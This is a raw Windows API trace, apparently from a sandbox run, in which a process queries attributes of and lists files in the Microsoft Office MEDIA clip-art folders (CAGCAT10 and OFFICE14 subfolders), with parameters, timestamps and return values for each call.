	[0051.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f43c8 | out: lpFileInformation=0x124f43c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8)) returned 1
	[0051.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4418 | out: lpFileInformation=0x124f4418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310)) returned 1
	[0051.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4468 | out: lpFileInformation=0x124f4468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322)) returned 1
	[0051.917] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), fInfoLevelId=0x0, lpFileInformation=0x124f44b8 | out: lpFileInformation=0x124f44b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465)) returned 1
	[0051.917] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4508 | out: lpFileInformation=0x124f4508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c)) returned 1
	[0051.917] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4558 | out: lpFileInformation=0x124f4558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc)) returned 1
	[0051.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f45a8 | out: lpFileInformation=0x124f45a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8)) returned 1
	[0051.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f45f8 | out: lpFileInformation=0x124f45f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e)) returned 1
	[0051.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4648 | out: lpFileInformation=0x124f4648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a)) returned 1
	[0051.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4698 | out: lpFileInformation=0x124f4698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40)) returned 1
	[0051.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124f46e8 | out: lpFileInformation=0x124f46e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b)) returned 1
	[0051.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124f4738 | out: lpFileInformation=0x124f4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1)) returned 1
	[0051.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124f4788 | out: lpFileInformation=0x124f4788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84)) returned 1
	[0051.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.023] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10256_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10289_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10290_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10307_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10308_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10358_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14516_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14538_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14539_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14594_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14595_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14677_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14710_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14711_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14768_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14769_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14800_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14801_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14844_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14845_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14882_.GIF", cAlternateFileName="")) returned 1
